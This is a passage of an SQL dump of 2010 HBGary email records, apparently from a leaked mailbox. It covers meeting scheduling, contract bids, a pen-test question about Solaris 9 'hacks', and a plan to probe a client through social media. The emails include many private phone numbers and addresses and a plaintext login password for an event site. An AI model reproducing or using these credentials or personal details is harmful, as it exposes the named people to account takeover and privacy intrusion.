Information','Aaron,\r\n\r\nDo you have a number or e-mail for an assistant that can help setup your meeting with Dr. Porter?\r\n\r\n-- \r\nM. Fong\r\nExecutive Officer, IARPA\r\n(w) 301-851-7586\r\n',243,'aaron_hbgary_com/243.html'),(10810,'2010-08-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008324.M285949P14101Q5666.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','Web App','Do you know of any good Solaris 9 hacks for port 80 or 443?  We&#39;re conducting a pen test against an Oracle based web app (iRecruit) and iSupplier.  We have some fairly recent vulnerabilities but it looks the the systems are fully patched.\r\nAnother interesting challenge is that we have to work off of one of our customer&#39;s laptops, and symantec keeps quarantining our tools, lol.Ted\r\n\r\n',3645,'aaron_hbgary_com/3645.html'),(10811,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008324.M516875P14101Q5667.eml','\"David Etue\" <david@etue.net>,\"David Etue\" <david@etue.net>','Re: From Scott Sheldon and other cybernexus group members on LinkedIn','I think u just show up.  But join the linkedin and facebook cybernexus group.AaronSent from my iPhoneOn Aug 23, 2010, at 11:05 PM, &quot;David Etue&quot; &lt;david@etue.net&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nHow do I register?  (or do I just show up…)\r\n\r\n\r\nDavid\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Sullivan, Mary\r\n[mailto:mary.sullivan@fidelissecurity.com] \r\nSent: Saturday, August 21, 2010 8:29 AM\r\nTo: Aaron Barr; David Etue\r\nSubject: Fwd: From Scott Sheldon and other cybernexus group members on\r\nLinkedIn\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nYou two might find this saic talk interesting. \r\n\r\nSent from my mobile--excuse typos or brevity\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: cybernexus Group\r\nMembers &lt;group-digests@linkedin.com&gt;\r\nDate: August 20, 2010 6:57:31 PM EDT\r\nTo: Mary Sullivan &lt;mary.sullivan@fidelissecurity.com&gt;\r\nSubject: From Scott Sheldon and other cybernexus group members on\r\nLinkedIn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Linkedin Groups\r\n  \r\n  \r\n  August\r\n  20, 2010\r\n  \r\n \r\n \r\n  \r\n  cybernexus\r\n  \r\n \r\n \r\n  \r\n  Latest: 1\r\n  discussion \r\n  \r\n \r\n \r\n  \r\n  Discussions\r\n  (1) \r\n  \r\n   \r\n    \r\n    Technical Tuesday - 5 Oct 2010; 1600 - 1730; The Rise\r\n    of the Social Web\r\n    \r\n    \r\n    Add\r\n    a comment »\r\n    \r\n   \r\n   \r\n    \r\n    Started by\r\n    Scott Sheldon, VP, Senior Account Executive at SAIC\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    The presentation will focus on the rise of the\r\n    social web, convergence of technologies to support the social web, and the\r\n    implications of...\r\n    More » By Scott Sheldon, VP, Senior Account\r\n    Executive at SAIC \r\n    \r\n    \r\n   \r\n  \r\n  \r\n   \r\n  \r\n  Don&#39;t want to receive email notifications? Adjust your message settings.\r\n\r\n  LinkedIn\r\n  values your privacy. At no time has LinkedIn made your email address\r\n  available to any other LinkedIn user without your permission. © 2010,\r\n  LinkedIn Corporation.\r\n  Stop inappropriate content\r\n  the moment it is posted. Send\r\n  me an email for each new discussion »\r\n  \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1096,'aaron_hbgary_com/1096.html'),(10812,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008324.M72186P14101Q5665.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Digital Globe','Just got off the phone with Daniel from Digitalglobe.  They are excited to get us in and tailor some training for them.  He wants us to train their entire company.  He wants an abbreviated training, about 2 hrs for probably near 600 people.  I will spend a few days researching and trying to infiltrate their organization through social media, then provide the training using that material.  He is going to get me the numbers of employees, but I mentioned to him that we normally charge $1000 per student for a full day.  And tailored training costs extra.  If we just cut that by 1/4 for 2hr training for 600 people that would be about $150K but given the volume I told him we could work out a reduced price.\r\n\r\nI am thinking around $100K?  He mentioned our original proposal for $60K for executive training and that he expects this will be more.  Thoughts?  You are closer to this customer.\r\n\r\nI think this is a great model for training.  Organizations get a pen test and training under one proposal.  This should sell very well.  And its not like only a subset of the employees need it, they all need it.\r\n\r\nAaron\r\n\r\n',14755,'aaron_hbgary_com/14755.html'),(10813,'2010-08-24','\"Moore, Adrianne\" <adrianne.moore@usis.com>','/aaron@hbgary.com/new/1297008324.M726118P14101Q5668.eml','aaron@hbgary.com','Jonathan George Security Clearance Investigation','\r\n\r\n\r\n\r\n\r\n\r\n\r\nMr. Barr,\r\n&nbsp;\r\nMy name is Adrianne Moore and I \r\nam an Investigator with the United States Air Force. I am conducting a security \r\nclearance reinvestigation for&nbsp;Jonathan \r\nGeorge.&nbsp;Jonathan \r\nGeorge&nbsp;listed you as a reference and provided me with your email \r\naddress as he did not have your current phone \r\nnumber. If at all possible I would like to set up a time that we could \r\nmeet for a couple of minutes to speak about \r\nJonathan George. My phone number is 540-446-7074. I appreciate your help \r\nin this process.\r\n&nbsp;\r\nThank You,\r\n&nbsp;\r\nAdrianne Moore\r\n&nbsp;\r\n\r\nAdrianne \r\nMoore\r\n&nbsp;\r\nUSIS/Investigator\r\n4000 Legato Rd2nd Floor Suite 200Fairfax, VA \r\n22033\r\n&nbsp;\r\n(1-540)-446-7074\r\n&nbsp;\r\nadrianne.moore@usis.com\r\n&nbsp;\r\n&nbsp;\r\n\r\nThe information contained in and transmitted with this e-mail is confidential.  It is intended only for the individual or entity designated above. You are hereby notified that any dissemination, distribution, copying or use of or reliance on the information contained in and transmitted with this e-mail by or to anyone other than the recipient designated above by the sender is unauthorized and strictly prohibited.  If you have received this e-mail in error, please contact the sender immediately and notify them that you received this in error.  Any e-mail erroneously transmitted to you should be immediately destroyed.  Thank you for your attention to this note of confidentiality. \r\n\r\n\r\n\r\n\r\n',9454,'aaron_hbgary_com/9454.html'),(10814,'2010-08-24','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008324.M953016P14101Q5669.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Digital Globe','Aaron can you send me the contact information for Daniel.  \r\nOn Tue, Aug 24, 2010 at 8:42 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nJust got off the phone with Daniel from Digitalglobe.  They are excited to get us in and tailor some training for them.  He wants us to train their entire company.  He wants an abbreviated training, about 2 hrs for probably near 600 people.  I will spend a few days researching and trying to infiltrate their organization through social media, then provide the training using that material.  He is going to get me the numbers of employees, but I mentioned to him that we normally charge $1000 per student for a full day.  And tailored training costs extra.  If we just cut that by 1/4 for 2hr training for 600 people that would be about $150K but given the volume I told him we could work out a reduced price.\r\nI am thinking around $100K?  He mentioned our original proposal for $60K for executive training and that he expects this will be more.  Thoughts?  You are closer to this customer.I think this is a great model for training.  Organizations get a pen test and training under one proposal.  This should sell very well.  And its not like only a subset of the employees need it, they all need it.\r\nAaron-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',311,'aaron_hbgary_com/311.html'),(10815,'2010-08-24','\"Manfai Fong\" <manfai.fong@ugov.gov>','/aaron@hbgary.com/new/1297008325.M174077P14101Q5670.eml','\"Vicki Cox\" <vicky.cox@ugov.gov>,\"Gary Fritter\" <gary.fritter@ugov.gov>,\"Dianna Ayers\" <dianna.t.ayers@ugov.gov>,\"Vicki Cox\" <vicky.cox@ugov.gov>','Meeting with Dr. Porter','Vicki,\r\n\r\nPlease arrange a meeting between Dr. Porter and Dr. Baranoski with Mr. Barr from HBGary.  Block 45 minutes for the meeting.  Look for a date after the 31st of August; either that week or the following week.  The meeting will be held here in College Park.\r\n\r\nFong\r\n\r\n\r\n-- \r\nM. Fong\r\nExecutive Officer, IARPA\r\n(w) 301-851-7586\r\n',9004,'aaron_hbgary_com/9004.html'),(10816,'2010-08-24','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008325.M506320P14101Q5671.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','RE: Digital Globe','I think the way you need to look at this is\r\n\r\n1.  This will be your reference account. You want them happy and satisfied\r\nwith your work.\r\n2.  Costs won\'t be that big because they are \"local\" for you guys. (meaning\r\nin CO)\r\n3.  If you have to do work upfront, I would ensure that you get something up\r\nfront for your time.\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 24, 2010 8:42 AM\r\nTo: Maria Lucas\r\nCc: Penny Leavy\r\nSubject: Digital Globe\r\n\r\nJust got off the phone with Daniel from Digitalglobe.  They are excited to\r\nget us in and tailor some training for them.  He wants us to train their\r\nentire company.  He wants an abbreviated training, about 2 hrs for probably\r\nnear 600 people.  I will spend a few days researching and trying to\r\ninfiltrate their organization through social media, then provide the\r\ntraining using that material.  He is going to get me the numbers of\r\nemployees, but I mentioned to him that we normally charge $1000 per student\r\nfor a full day.  And tailored training costs extra.  If we just cut that by\r\n1/4 for 2hr training for 600 people that would be about $150K but given the\r\nvolume I told him we could work out a reduced price.\r\n\r\nI am thinking around $100K?  He mentioned our original proposal for $60K for\r\nexecutive training and that he expects this will be more.  Thoughts?  You\r\nare closer to this customer.\r\n\r\nI think this is a great model for training.  Organizations get a pen test\r\nand training under one proposal.  This should sell very well.  And its not\r\nlike only a subset of the employees need it, they all need it.\r\n\r\nAaron\r\n\r\n\r\n',13633,'aaron_hbgary_com/13633.html'),(10817,'2010-08-24','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008325.M750711P14101Q5672.eml','\"Aaron Barr\" <aaron@hbgary.com>','Daniel at DigitalGlobe contact information please...','-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',1686,'aaron_hbgary_com/1686.html'),(10818,'2010-08-24','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008326.M915831P14101Q5673.eml','Bob_Mojazza@raytheon.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: Capabilities per Labor Category','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n&nbsp;\r\n\r\nI am referring your request to our sister company, HBGary\r\nFederal, that focuses more on gov&#8217;t services work.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Bob Mojazza\r\n[mailto:Bob_Mojazza@raytheon.com] \r\nSent: Tuesday, August 24, 2010 12:54 PM\r\nTo: Bob Mojazza\r\nSubject: Capabilities per Labor Category\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGood Afternoon, \r\n\r\nI am helping to\r\ngather info on company staffing for a potential pursuit that would be coming\r\nout later this year or early next year. &nbsp;Currently we are evaluating the\r\nindustry to see manpower availability per labor category. &nbsp;This info would\r\nbe used to help with partnering strategy. \r\n\r\nPlease review\r\nthe attached document, complete the form and return it to me by September 3 or\r\nsoon after. &nbsp;You should put your company name in F1 cell and indicate\r\ncurrent staffing per skill level within each labor category. \r\n\r\nThank you.\r\n\r\n\r\nBob Mojazza \r\nRaytheon-IIS \r\nEmerging Technologies \r\nbob_mojazza@raytheon.com (best form of communication) \r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3088 - Release Date: 08/24/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11198,'aaron_hbgary_com/11198.html'),(10819,'2010-08-24','\"Vicky Cox\" <vicky.cox@ugov.gov>','/aaron@hbgary.com/new/1297008327.M222960P14101Q5674.eml','aaron@hbgary.com,aaron@hbgary.com,,','Meeting with Dr. Porter','Mr. Barr,\r\n\r\nMy name is Vicky Cox and I support Dr. Porter, I\'d like to check your availability for the dates listed below.  These are the earliest dates available on Dr. Porter\'s calendar.  If neither date works for you, please provide me with your preferences such as morning or evening (before 5pm) and I will look at other dates and times.\r\n\r\nSept 9  1000-1100\r\n        1100-1200\r\nSept 10 1500-1600\r\n\r\nI look forward to hearing from you soon, you can reply to this e-mail or call me at (301) 851-7582.\r\n\r\nThank you.\r\n\r\nr/\r\nVicky R. Cox\r\n\r\n----- Original Message -----\r\nFrom: \"Manfai Fong\" \r\nTo: \"Vicki Cox\" , \"Gary Fritter\" , \"Dianna Ayers\" \r\nCc: \"Aaron Barr\" \r\nSent: Tuesday, August 24, 2010 12:52:12 PM\r\nSubject: Meeting with Dr. Porter\r\n\r\nVicki,\r\n\r\nPlease arrange a meeting between Dr. Porter and Dr. Baranoski with Mr. Barr from HBGary.  Block 45 minutes for the meeting.  Look for a date after the 31st of August; either that week or the following week.  The meeting will be held here in College Park.\r\n\r\nFong\r\n\r\n\r\n-- \r\nM. Fong\r\nExecutive Officer, IARPA\r\n(w) 301-851-7586\r\n',1440,'aaron_hbgary_com/1440.html'),(10820,'2010-08-24','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','/aaron@hbgary.com/new/1297008327.M517066P14101Q5675.eml','\"Richard Marshall\" <richard.marshall1@dhs.gov>,\"Aaron Barr\" <aaron@hbgary.com>','Introduction','\r\n\r\nIntroduction\r\n\r\n\r\nRichard and Aaron - \r\n\r\nAllow me to virtually introduce the two of you (although I think you two may have met at Blackhat). &nbsp;You have similar research interests. &nbsp;\r\n\r\nAll the best - \r\n\r\nTim \r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n',8580,'aaron_hbgary_com/8580.html'),(10821,'2010-08-24','\"Potomac Officers Club\" <support@potomacofficersclub.com>','/aaron@hbgary.com/new/1297008327.M798090P14101Q5676.eml','aaron@hbgary.com','POC Event Announcement','\r\n\r\n\r\nPotomac Officers Club Invite\r\n\r\n\r\nWe are pleased to announce that security expert and former White House\r\nadvisor Richard Clarke will be speaking at our next luncheon.  Richard\r\nClarke is an internationally-recognized expert on security, including\r\nhomeland security, national security, cyber security, and counterterrorism.\r\nHe is currently an on-air consultant for ABC News and teaches at Harvard\'s\r\nKennedy School of Government.\r\nMr. Clarke served the last three Presidents (George H.W. Bush, Bill\r\nClinton, and George W. Bush) as a senior White House Advisor. Over the\r\ncourse of an unprecedented 11 consecutive years of White House service, he\r\nheld the titles of: Special Assistant to the President for Global Affairs,\r\nNational Coordinator for Security and Counterterrorism and Special Advisor\r\nto the President for Cyber Security. He also wrote two authoritative books\r\non Cyber Security entitled \"Cyber War\" and \"Against all Enemies\".  You can\r\nreceive one of his books when you register for the event!\r\nYou will not want to miss this chance to hear from an extraordinary man\r\non this very relevant and topical subject.   Details of the event are\r\nincluded below.  PLEASE NOTE:  You are now required to enter your username\r\nand password to sign up for the event.  That information is contained below\r\nin this email for your ease!\r\nDate:  Tuesday, October 5th\r\nTime:  11:30 am (networking and registration) with lunch and speaker at\r\n12:00 pm  - 1:00 pm.\r\nLocation:  Tyson\'s Corner Ritz Carlton (Salon 3)\r\nLink to Register : http://www.potomacofficersclub.com/events/hxIfaLvMibUVqTAVR4F9/\r\nYour login information:\r\nUsername : aaron@hbgary.comPassword : KyCPx7T2\r\nWe hope to see you all there!\r\nThe Potomac Officers Club\r\nPS &ndash; as you may have noticed, the Potomac Officers Club has a new\r\n(and improved!) website.  Thank you very much for your patience and\r\ncooperation as we are still fine tuning all the features and we may\r\nexperience a few \"growing pains\" in the process.  We sincerely appreciate\r\nany comments or suggestions you might have.\r\n\r\n\r\n\r\n\r\n',9371,'aaron_hbgary_com/9371.html'),(10822,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008328.M19891P14101Q5677.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: Daniel at DigitalGlobe contact information please...','Sorry realized I was late for a meeting.3018517586Dan collenderSent from my iPhoneOn Aug 24, 2010, at 1:27 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n  \r\n\r\n',13952,'aaron_hbgary_com/13952.html'),(10823,'2010-08-24','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008328.M282680P14101Q5678.eml','aaron@hbgary.com,\"Andretta, Christine N (TASC)\" <Christine.Andretta@TASC.COM>,\"Bruce Friedman\" <bruce.friedman@ngc.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William E. Miller\" <wmiller@digitalmanagement.com>,\"William Luti\" <wluti@digitalmanagement.com>','TSA has extended due date to Friday Sept 3, at 3pm.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nQuestions are not yet answered.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2437,'aaron_hbgary_com/2437.html'),(10824,'2010-08-24','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297008328.M588290P14101Q5679.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: INPUT Priority Opportunity Update Opp ID 55429 - INFORMATION TECHNOLOGY SECURITY SUPPORT SERVICES','Assume you heard...Sent from my mobile--excuse typos or brevityBegin forwarded message:From: &lt;inputupdate@input.com&gt;Date: August 24, 2010 2:07:24 PM EDTTo: &lt;mary.sullivan@fidelissecurity.com&gt;Subject: INPUT Priority Opportunity Update Opp ID 55429 - INFORMATION TECHNOLOGY SECURITY SUPPORT SERVICES\r\nOne of your bookmarked INPUT opportunities was updated.  It was tagged as a Priority Update.\r\n\r\nINPUT Opp ID:   55429\r\nProgram:    INFORMATION TECHNOLOGY SECURITY SUPPORT SERVICES (ITSSS)\r\nOrganization:   HOMELAND SECURITY » TRANSPORTATION SECURITY ADMINISTRATION\r\n\r\nStatus: Post-RFP\r\nLatest News: The Contracting Office released Amendment #1 on August 24, 2010. The purpose of this Amendment is to extend the Proposal due date to 3:00 PM EST on September 3, 2010.\r\n\r\n\r\n\r\nYou received this message because you are Opted In to receive INPUT Priority Opportunity Updates.  INPUT tags an Opportunity Update as a Priority Update when the government makes an announcement that requires vendor action, such as a solicitation release or a change to a bid due date.\r\n\r\nFor more information on how INPUT determines if an opportunity update is a Priority Update, visit our Priority Update Guidelines.\r\n\r\n\r\nIf you would like to Opt Out of Priority Opportunity Updates, please visit the My Opportunities page to change your preferences.\r\n\r\n',10636,'aaron_hbgary_com/10636.html'),(10825,'2010-08-24','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297008328.M809855P14101Q5680.eml','aaron@hbgary.com','2010 Biometric Consortium Conference – New Speakers Announced','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n				\r\n					\r\n				\r\n			\r\n		\r\n	\r\n	\r\n			  \r\n          \r\n            \r\n                The 2010 Biometric Consortium Conference and Technology Expo \r\n                September 21-23, 2010\r\n                Tampa Convention Center\r\n                Tampa, Florida\r\n                Co-Chaired by Mr. Jeffrey S. Dunn, Technical Director of Biometrics, National Security Agency and Mr. Fernando Podio, Computer Science Division, Information Technology Laboratory, National Institute of Standards and Technology, the Biometric Consortium Conference and co-located Biometric Technology Expo is one of the largest gatherings of biometric and identity management experts in the world. Participants include internationally recognized experts in biometric technologies, system and application developers, IT business strategists, and government and commercial officers.\r\n                Click here for  Biometric Consortium Conference and Technology Expo registration and housing. \r\n&nbsp;\r\nKeynote Speakers:\r\n\r\n  LtGen John R. Allen, USMC, Deputy Commander, U.S. Central Command \r\n  LTG Richard P. Zahner, USA, Deputy Chief of Staff, G-2, U.S. Army \r\n  Mr. Daniel D. Roberts, Assistant Director, CJIS Division, Federal Bureau of Investigation\r\n  Dr. Starnes E. Walker, Director of Research, Science &amp; Technology Directorate, U.S. Department of Homeland Security \r\n  Mr. B.B. Nanawati, Deputy Director General, UID Authority of India\r\n   Mr. Gerald Thames, Executive Advisor, Booz Allen Hamilton\r\n  \r\nThese Keynote speakers together with other senior leaders including Mr. Thomas P. Dee, Director, Joint Rapid Acquisition Cell, Director, Defense Biometrics; Dr. Myra Gray, Director, Biometrics Identity Management Agency; Mr. Robert Mocny, Director, US-VISIT; Dr. Sharla Rausch, Director, S&amp;T, Human Factors/Behavioral Sciences Division, DHS; and Ms. Kimberly Del Greco, Division Section Chief, CJIS, FBI and nearly 100 additional speakers&nbsp;will offer keen insights into the successful application of biometric technology to a wide range of military and government identity challenges.\r\n&nbsp;\r\nConference Sessions:\r\n\r\n  Department of Justice (DOJ - FBI/NIJ) \r\n\r\n\r\n  Moderator: Mr. Scott Swann, FBI\r\n  Moderator: Mr. Bill Ford, NIJ\r\n\r\n\r\n  Department of Homeland Security (DHS)\r\n\r\n\r\n  Moderator: Mr. Chris Miles, DHS\r\n\r\n\r\n  Department of Defense (DoD) \r\n\r\n\r\n  Moderator: Mr. Thomas P. Dee, OSD/AT&amp;L (DDR&amp;E)\r\n  Moderator: Dr. Myra Gray, BIMA\r\n\r\n\r\n  National Institute of Standards and Technology (NIST) \r\n\r\n\r\n  Moderator: Mr. Michael D. Garris, NIST\r\n\r\n\r\n  Biometrics, Identity &amp; Security (BIdS)\r\n\r\n\r\n  Moderator: Dr. Terry Boult, University of Colorado\r\n\r\n\r\n  Special Rapid DNA \r\n\r\n\r\n  Moderator: Ms. Kimberly Del Greco, FBI\r\n  Moderator: Mr. Tom Callaghan, FBI\r\n\r\n\r\n  General Services Administration (GSA) \r\n\r\n\r\n  Presenter: Mr. David Temoshok, GSA\r\n\r\n\r\n  Department of Transportation/Volpe (DOT) \r\n\r\n\r\n  Moderator: Mr. Bill Baron, DOT\r\n\r\n\r\n  Biometric Standards \r\n\r\n\r\n  Moderator: Mr. Fernando Podio, NIST\r\n\r\n\r\n  International \r\n\r\n\r\n  Moderator: Dr. Christoph Busch, Fraunhofer IGD\r\n  Moderator: Dr. Raul Sanchez-Reillo, University Carlos III of Madrid\r\n\r\n\r\n  Industry \r\n\r\n\r\n  Moderator: Mr. Walter Hamilton, IBIA\r\n\r\n\r\n  Iris Technology \r\n\r\n\r\n  Moderator: Dr. James Matey, USNA\r\n\r\n&nbsp;\r\nConference Fees:\r\n                \r\n                  \r\n                    Student\r\n                    $295\r\n                  \r\n                  \r\n                    University Staff/Faculty \r\n                    $595\r\n                  \r\n                  \r\n                    Government/Non-Profit\r\n                    $595\r\n                  \r\n                  \r\n                    Industry/Consultant/Other\r\n                    $695\r\n                  \r\n                  \r\n                    Exhibit Hall Only\r\n                    Free\r\n                  \r\n                \r\n              &nbsp;\r\nThe Biometric Technology Expo will feature over 80 technology exhibitors displaying a wide range of hardware and software solutions to biometric and identity management challenges. The Biometric Technology Expo is sponsored by AFCEA and J. Spargo &amp; Associates, Inc.\r\n              Hotel Rooms:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\nA block of hotel rooms has been reserved at the Hyatt Regency Tampa and the Embassy Suites Tampa- Downtown Convention Center.&nbsp; A block of government rated rooms are available at each of these hotels. \r\nExhibitor contact:\r\nJ. Spargo &amp; Associates, Inc.\r\n                800-564-4220 or 703-631-6200, biometrics@jspargo.com \r\n                Sponsor contact:\r\n                Maureen Cirrito/AFCEA\r\n                800-336-4583 or 703-631-6174, mcirrito@afcea.org\r\n                Conference contact:\r\n  Dick Bailey/BAE Systems \r\n  301-738-5126, richard.bailey@baesystems.com \r\n                &nbsp;\r\n&nbsp;www.biometricconference.com\r\n            \r\n          \r\n      \r\n  \r\n	\r\n		\r\n\r\n			\r\n\r\n  This email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n  \r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\n  http://www.afcea.org\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14919,'aaron_hbgary_com/14919.html'),(10826,'2010-08-24','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008329.M248964P14101Q5682.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: TSA has extended due date to Friday Sept 3, at 3pm.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe&#8217;re getting into pretty good shape.&nbsp; Pricing is drafted, and\r\nthe volumes are in process. Staffing volume is drafted. Tech Approach is\r\nhyper-edited.\r\n\r\n&nbsp;\r\n\r\nPush ahead with the security&nbsp; paperwork&#8230;tick-tock.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 24, 2010 3:22 PM\r\nTo: John Fanguy\r\nSubject: Re: TSA has extended due date to Friday Sept 3, at 3pm.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAnything u need from me? &nbsp;I will get the security\r\npaperwork back today.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 24, 2010, at 2:51 PM, John Fanguy &lt;jfanguy@digitalmanagement.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nQuestions\r\nare not yet answered.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn Fanguy\r\n\r\nVP\r\n\r\nDigital Management,\r\nInc.\r\n\r\n&quot;Leading\r\nGovernment Transformation&quot;\r\n\r\nGSA\r\n8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701 Democracy Blvd,\r\nSuite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n240-223-4800 main\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',672,'aaron_hbgary_com/672.html'),(10827,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008329.M26257P14101Q5681.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: TSA has extended due date to Friday Sept 3, at 3pm.','Anything u need from me?  I will get the security paperwork back today.AaronSent from my iPhoneOn Aug 24, 2010, at 2:51 PM, John Fanguy &lt;jfanguy@digitalmanagement.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nQuestions are not yet answered.\r\n\r\n \r\n\r\n \r\n\r\n-John\r\n\r\n 